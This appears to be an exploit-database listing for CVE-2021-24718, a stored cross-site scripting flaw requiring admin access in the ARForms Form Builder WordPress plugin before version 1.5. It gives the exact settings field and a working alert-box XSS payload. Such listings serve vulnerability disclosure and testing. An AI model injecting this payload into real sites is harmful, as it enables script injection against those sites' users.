Exploit for ARForms Form Builder < 1.5 - Admin+ Stored Cross Site Scripting CVE-2021-24718

Name: Exploit for ARForms Form Builder < 1.5 - Admin+ Stored Cross Site Scripting CVE-2021-24718
Rating: 5 (246 reviews)

2021-11-02 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:60C9D78F-AE2C-49E0-ACA3-6DCE1BD8F697
Put the following payload in the From/Replyto Name field at ARForms Lite > General Settings > Email Settings: "><script>alert(/XSS/)</script>